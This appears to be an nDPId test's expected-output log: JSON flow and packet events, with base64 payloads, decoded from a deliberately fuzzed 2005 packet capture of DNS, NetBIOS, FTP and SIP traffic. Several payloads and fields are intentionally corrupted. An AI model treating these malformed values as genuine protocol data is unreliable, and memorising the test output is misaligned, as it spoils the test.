+00485{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":117,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":49,"flow_packet_id":1,"flow_first_seen":1120469685452,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.17.1","src_port":2724,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00520{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":117,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":48,"flow_packet_id":1,"flow_first_seen":1120469685131,"flow_last_seen":0,"flow_tot_l4_data_len":58,"flow_min_l4_data_len":58,"flow_max_l4_data_len":58,"flow_avg_l4_data_len":58,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.255","src_port":137,"dst_port":25481,"l4_proto":"udp","ndpi": {"proto":"NetBIOS","breed":"Acceptable","category":"System"}} +00488{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":117,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":48,"flow_packet_id":1,"flow_first_seen":1120469685131,"flow_last_seen":0,"flow_tot_l4_data_len":58,"flow_min_l4_data_len":58,"flow_max_l4_data_len":58,"flow_avg_l4_data_len":58,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.255","src_port":137,"dst_port":25481,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00608{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":117,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":25,"flow_packet_id":25,"flow_first_seen":1120469634878,"flow_last_seen":1120469635196,"flow_tot_l4_data_len":824,"flow_min_l4_data_len":20,"flow_max_l4_data_len":79,"flow_avg_l4_data_len":32,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"147.234.1.253","src_port":2720,"dst_port":21,"l4_proto":"tcp","ndpi": {"proto":"FTP_CONTROL","breed":"Unsafe","category":"Download-FileTransfer-FileSharing"},"ftp": {"user":"","password":"","auth_failed":0}} +00499{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":117,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":25,"flow_packet_id":25,"flow_first_seen":1120469634878,"flow_last_seen":1120469635196,"flow_tot_l4_data_len":824,"flow_min_l4_data_len":20,"flow_max_l4_data_len":79,"flow_avg_l4_data_len":32,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"147.234.1.253","src_port":2720,"dst_port":21,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00483{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":117,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":50,"flow_packet_id":1,"flow_first_seen":1120469697460,"flow_last_seen":0,"flow_tot_l4_data_len":48,"flow_min_l4_data_len":48,"flow_max_l4_data_len":48,"flow_avg_l4_data_len":48,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2725,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00462{"flow_id":50,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":117,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120469697,"pkt_ts_usec":460503,"pkt_caplen":82,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":82,"pkt_l4_len":48,"pkt":"ADBUADRWAODtAW69CABFAABEadcAAIARTX7AqAECwKgBAQqlADUAMORCQNcAAAABAAAAAAAAATEBMAEwAzEyNwdpbi1hZGRyBGFycGEAAAwAAQ=="} +00653{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":117,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":50,"flow_packet_id":1,"flow_first_seen":1120469697460,"flow_last_seen":0,"flow_tot_l4_data_len":48,"flow_min_l4_data_len":48,"flow_max_l4_data_len":48,"flow_avg_l4_data_len":48,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2725,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"1.0.0.127.in-addr.arpa","num_queries":0,"num_answers":0,"reply_code":0,"query_type":12,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00492{"flow_id":50,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":118,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120469697,"pkt_ts_usec":462026,"pkt_caplen":105,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":105,"pkt_l4_len":71,"pkt":"AODtAW69ADBUADRWCABFAABbAABAAEARtz7AqAEBwKgBAgA1CqUAR8a+QNeAAAABAAEAAAAAATEBMAEwAzEyNwdpbi1hZGRyBGFycGEAAAwAAcAMAAxWAQAAJxAACwlsb2NhbGhvc3QA"} +00675{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":118,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":50,"flow_packet_id":2,"flow_first_seen":1120469697460,"flow_last_seen":1120469697462,"flow_tot_l4_data_len":119,"flow_min_l4_data_len":48,"flow_max_l4_data_len":71,"flow_avg_l4_data_len":59,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2725,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"1.0.0.127.in-addr.arpa","num_queries":1,"num_answers":1,"reply_code":0,"query_type":12,"rsp_type":12,"rsp_addr":"0.0.0.0"}} +00415{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":119,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120469697,"pkt_ts_usec":466627,"pkt_caplen":76,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":76,"pkt_l4_len":0,"pkt":"ADBUADRWAODtAW69CABFAAA+adiqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqg=="} +00186{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":119,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","l4_data_len":42} +00484{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":120,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":51,"flow_packet_id":1,"flow_first_seen":1120469697468,"flow_last_seen":0,"flow_tot_l4_data_len":58,"flow_min_l4_data_len":58,"flow_max_l4_data_len":58,"flow_avg_l4_data_len":58,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.46","dst_ip":"192.168.1.2","src_port":53,"dst_port":2726,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00474{"flow_id":51,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":120,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120469697,"pkt_ts_usec":468124,"pkt_caplen":92,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":92,"pkt_l4_len":58,"pkt":"AODtAW69ADBUADRWCABFAABOAABAAEARt0vAqAEuwKgBAgA1CqYAOqrT7deBAAABAAEAAAAAA3NpcAljeWJlcmNpdHkCZGsAAAEAAcAMAAEAAQAAJxAABNTyISM="} +00653{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":120,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":51,"flow_packet_id":1,"flow_first_seen":1120469697468,"flow_last_seen":0,"flow_tot_l4_data_len":58,"flow_min_l4_data_len":58,"flow_max_l4_data_len":58,"flow_avg_l4_data_len":58,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.46","dst_ip":"192.168.1.2","src_port":53,"dst_port":2726,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"sip.cybercity.dk","num_queries":1,"num_answers":1,"reply_code":0,"query_type":0,"rsp_type":1,"rsp_addr":"212.242.33.35"}} +01317{"flow_id":45,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":121,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120469697,"pkt_ts_usec":469146,"pkt_caplen":722,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":722,"pkt_l4_len":688,"pkt":"ADBUADRWAODtAW69CABFAALEadkAAIARFpDAqAEC1PIhIxPEE8QCsDUFUkVHSVNURVIgc2lwOnNpcC5jeWJlcmNpdHkuZGsgU0lQLzIuMA0KVmlhOiBTSVAaMi4wL1VEUCAxOTIuMTY4LjEuMjticmFuY2g9ejloRzRiS25wMTM4NzgwNjcyLTQ1MDIyYTFjMTkyLjE2OC4xLjI7cnBvcnQNCkZyb206IDxzaXA6dm9pMTgwNjNAc2lwLmN5YiVyY2l0eS5kaz47dGFnPTg0NWEwMGQNClRvOiA8c2lwOnZvaTE4MDYzQHNpcC5jeWJlcmNpdHkuZGs+DQpDYWxsLUlEOiAlNzgyMjI3MjktEzY2NWQ3NzVANTc4MjIyNzMyLTQ2NjVkNzcyDQpDb250YWN0OiAgPHNpcDp2b2kxODA2M0AxOTIuMTY4LjEuMjo1MCVzAGxpbmU9OWM3ZDJkYmQ4ODIyMDEzYz47ZXhwaXJlcz0xMjAwO3E9MC41bTANCkV4cGlyZXM6IDEyMDANCkNT5XE6IDcxIFJFR0lTVEVSDQpDb250ZW50LUxlbmd0aDogMA0KQXV0aG92aXphdGlvbjogRGlnZXN0IHVzZXJuYW1lPSJ2b2kyODA2MyIscmVhbG09InNpcC5jeWJlcmNpdHkuZGsiLHVyaT0ic2lwOjE5Mi4xNjguMS4yIixub25jZT0iMTcwMWIwNDIwNzNlNDBkYzNhYzdhZGIlc0BhZDQxZCIsb3BhcXVlPSIxNzAxYTEzNTFmNzA3OTUiLG5jPSAwMDAwMDAwMSIscmVzcG9uc2U9ImNjMmQ0NTczZWU5Mzk5ZjM0YzFjN2YzYmY1MTQ0MTAzIg0KTWF4LUZvcndhcmRzBSA3MA0KVXNlci1BZ2VudDogTmVybyBTSVBQUyBJUCBQaG9uZSBWZXJzaW9uIDIuMC41MS4xNg0KDQo="} +01025{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":122,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120469697,"pkt_ts_usec":621120,"pkt_caplen":533,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":533,"pkt_l4_len":0,"pkt":"AODtAW69ADBUADRWCABFAAIHAAD6ADcRiibU8iEjwKgBAhPEE8QB877qU0lQLzIuMCA0MDEgbm9uY2UgaGFzIGNoYW5nZWQNCkNhbGwtSUQ6IDU3ODIyMjcyOS00NjY1ZDc3NUA1NzgyMjI3MzItNDY2NWQ3NzINCkNTZXE6IDcxIFJFR0lTVEVSDQpGcm9tOiA8c2lwNXZvaTE4MDYzQHNpcC5jeWJlcmNpdHkuZGs+O3RhZz04fTVhMDBkDQpUbzIgPHNpcDp2b2kxODA2M0BzaXAuY3liZXJjaXR5LmRrPjt0YWc9MDAtMDQwODktMTcwMWIwNjctMzIwYWQyZGEzDQpWaWE6IFNJUC8yLjAvVURQIDE5Mi4xNjguMS4yO3JlY2VpdmVkPTgwLjIzMC4yMTluNzA7cnBvZnQ9NTA2MDticmFuY2g9ejloRzRiS25wMTM4qqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqo="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":122,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","l4_data_len":499} +00485{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":125,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":51,"flow_packet_id":1,"flow_first_seen":1120469697468,"flow_last_seen":0,"flow_tot_l4_data_len":58,"flow_min_l4_data_len":58,"flow_max_l4_data_len":58,"flow_avg_l4_data_len":58,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.46","dst_ip":"192.168.1.2","src_port":53,"dst_port":2726,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00483{"flow_id":1,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":125,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120469731,"pkt_ts_usec":720637,"pkt_caplen":92,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":92,"pkt_l4_len":58,"pkt":"\/\/\/\/\/\/\/\/AODtAW69CABFAABOadoAAIARTHPAqAECwKgB\/wCJAIkAOlukhHcJEAABAAAAAAAAIEVGRURFSkZQRUVFUEVORUJFSkVPQ0FDQUNBQ0FDQUJNAAAgAAE="} +00483{"flow_id":1,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":126,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120469732,"pkt_ts_usec":470072,"pkt_caplen":92,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":92,"pkt_l4_len":58,"pkt":"\/\/\/\/\/\/\/\/AODtAW69CABFAABOadsAAIARTHLAqAECwKgB\/wCJAIkAm1ukhPcBEAABAAAAAAAAIEVGRURFSkZQRUVFUEVORUJFSkVPQ0FDJXMAQ0FDQUJNAAAgAAE="} +00483{"flow_id":1,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":127,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120469733,"pkt_ts_usec":221155,"pkt_caplen":92,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":92,"pkt_l4_len":58,"pkt":"\/\/\/\/\/\/\/\/AODtAW69CABFAABOadwAAIARTHHAqAECwKgB\/wCJAIkAelukhPcBEAABAAAAAAAAIEVGRURFSkZQRUVFUEVORUJFSkVPQ0FDQUNBQ0FDU0JNAAAgAAE="} +00483{"flow_id":1,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":128,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120469779,"pkt_ts_usec":977633,"pkt_caplen":92,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":92,"pkt_l4_len":58,"pkt":"\/\/\/\/\/\/\/\/AODtAW69CABFAABOaeUAAIARTGjAqAECwKgB\/wCJAIkAOlufhPwBEIABAAAAAAAAIEVGRURFSkZQRUVFUEVORUJFSkVPQyVzAENBQ0FDQUJNAAAgAAE="} +00483{"flow_id":1,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":129,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120469780,"pkt_ts_usec":719456,"pkt_caplen":92,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":92,"pkt_l4_len":58,"pkt":"\/\/\/\/\/\/\/\/AODtAW69CABFAABOaeYAAIARTGfAqAECwKgB\/wCJAIkAOlufhPwBEAABAAAAAAAAIEVGRURFSkZQRUVFUEVORUJFSkVPQ0FDQUNBQ0FDQUJNAAAgAAE="} +00483{"flow_id":1,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":130,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120469781,"pkt_ts_usec":470541,"pkt_caplen":92,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":92,"pkt_l4_len":58,"pkt":"\/\/\/\/\/\/\/\/AODtAW69CABFAABOaecAAIARTGbAqAECwKgB\/wCJAIkAOlufhPwBEAABAAAAAAAAIEVGRURFSkZQRUVFUEVORUJFSkVPQ0FDQUNBQ0FDQUJNAAAgAAE="} +00487{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":133,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":52,"flow_packet_id":1,"flow_first_seen":1120469828958,"flow_last_seen":0,"flow_tot_l4_data_len":58,"flow_min_l4_data_len":58,"flow_max_l4_data_len":58,"flow_avg_l4_data_len":58,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.202","dst_ip":"192.168.1.255","src_port":137,"dst_port":137,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00483{"flow_id":52,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":133,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120469828,"pkt_ts_usec":958825,"pkt_caplen":92,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":92,"pkt_l4_len":58,"pkt":"\/\/\/\/\/\/\/\/AODtAW69CABFAABOah8AAIARTC7AqAHKwKgB\/wCJAIkAOluchP8BEAABAAAAAAAAIEVGRURFSkZQRUVFUEVOa0JFSkVPQ0FDQUNBQ0FDQUJNAAAgAAE="} +00521{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":133,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":52,"flow_packet_id":1,"flow_first_seen":1120469828958,"flow_last_seen":0,"flow_tot_l4_data_len":58,"flow_min_l4_data_len":58,"flow_max_l4_data_len":58,"flow_avg_l4_data_len":58,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.202","dst_ip":"192.168.1.255","src_port":137,"dst_port":137,"l4_proto":"udp","ndpi": {"proto":"NetBIOS","breed":"Acceptable","category":"System"}} +00427{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":136,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120469830,"pkt_ts_usec":657803,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":86,"pkt_l4_len":0,"pkt":"ADBPADRWAODtAW69CABFAI1IaiAAAIARTTHAqAECwKgBAQqsADUANM1AXNgBAAABAAABgAAABF9zaXAEX3VkcANzMnAJY3liZXJjaXR5AmRrAAAhAAE="} +00186{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":136,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","l4_data_len":52} +00483{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":137,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":53,"flow_packet_id":1,"flow_first_seen":1120469831652,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2732,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00466{"flow_id":53,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":137,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120469831,"pkt_ts_usec":652887,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"ADBUADRWAODtAXq9CABFAABISiEAAIARTTDAqAECwKgBAQqsADUANM1AXNgBAAABAAAAAAAABF9zaXAEX3VkcANzaXAJY3liZXJjaXR5AmRrAAAhAAE="} +00657{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":137,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":53,"flow_packet_id":1,"flow_first_seen":1120469831652,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2732,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"_sip._udp.sip.cybercity.dk","num_queries":0,"num_answers":0,"reply_code":0,"query_type":33,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00428{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":138,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120469833,"pkt_ts_usec":655647,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":86,"pkt_l4_len":0,"pkt":"MDBUADRWAODtAW69CABFAABIaiIAE4ARTS\/AqAECwKgBAQqsADUANM1AXNgBAAABAAAAAAAABF9zaXAEX3VkcANzaXAJY3liZXJjaXR5AmRrAAAhAAE="} +00186{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":138,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","l4_data_len":52} +00466{"flow_id":53,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":139,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120469835,"pkt_ts_usec":658648,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"ADBUADRWAODtAW69CABFAABIaiMAAIARTS7AqAECwKgBAQqsADUANM1AXNgBAAABAAAAAAAABF9zaXAEX3VkcANzaXAJY3liZXJjaXR5AmRrAAAhAAE="} +00488{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":140,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":52,"flow_packet_id":1,"flow_first_seen":1120469828958,"flow_last_seen":0,"flow_tot_l4_data_len":58,"flow_min_l4_data_len":58,"flow_max_l4_data_len":58,"flow_avg_l4_data_len":58,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.202","dst_ip":"192.168.1.255","src_port":137,"dst_port":137,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00491{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":140,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":54,"flow_packet_id":1,"flow_first_seen":1120469839664,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.170.170.170","src_port":43690,"dst_port":43690,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00466{"flow_id":54,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":140,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120469839,"pkt_ts_usec":664262,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"ADBUADRWAODtAW69CABFAABIaiQAAIARTS3AqAECwKqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqo="} +00485{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":141,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":55,"flow_packet_id":1,"flow_first_seen":1120469847666,"flow_last_seen":0,"flow_tot_l4_data_len":48,"flow_min_l4_data_len":48,"flow_max_l4_data_len":48,"flow_avg_l4_data_len":48,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.115.1","src_port":2733,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00462{"flow_id":55,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":141,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120469847,"pkt_ts_usec":666186,"pkt_caplen":82,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":82,"pkt_l4_len":48,"pkt":"9jBUADRWAODtAW69CABFAABEaiUAAIARTTDAqAECwKhzAQqtADUAMFw5yNgAAAABAAAAAAAAATEBMAEwAzEyNwdpbi1hZGRyBGFycWEAAAwAAQ=="} +00655{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":141,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":55,"flow_packet_id":1,"flow_first_seen":1120469847666,"flow_last_seen":0,"flow_tot_l4_data_len":48,"flow_min_l4_data_len":48,"flow_max_l4_data_len":48,"flow_avg_l4_data_len":48,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.115.1","src_port":2733,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"1.0.0.127.in-addr.arqa","num_queries":0,"num_answers":0,"reply_code":0,"query_type":12,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00483{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":142,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":56,"flow_packet_id":1,"flow_first_seen":1120469847667,"flow_last_seen":0,"flow_tot_l4_data_len":71,"flow_min_l4_data_len":71,"flow_max_l4_data_len":71,"flow_avg_l4_data_len":71,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.1","dst_ip":"192.168.1.2","src_port":53,"dst_port":2733,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00492{"flow_id":56,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":142,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120469847,"pkt_ts_usec":667702,"pkt_caplen":105,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":105,"pkt_l4_len":71,"pkt":"AODtAW69ADBUADRWCABFAABbAABAAEARtz7AqAEBwKgBAgA1Cq0ARz61yNiAAAABAAEAAAAAATEBMAEwAzEyNwdpbi1hZGRyBGFycGEAAAwAAcAMAAwAAQAAJxAACwmEb2NhbGhvc3QA"} +00653{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":142,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":56,"flow_packet_id":1,"flow_first_seen":1120469847667,"flow_last_seen":0,"flow_tot_l4_data_len":71,"flow_min_l4_data_len":71,"flow_max_l4_data_len":71,"flow_avg_l4_data_len":71,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.1","dst_ip":"192.168.1.2","src_port":53,"dst_port":2733,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"1.0.0.127.in-addr.arpa","num_queries":1,"num_answers":1,"reply_code":0,"query_type":0,"rsp_type":12,"rsp_addr":"0.0.0.0"}} 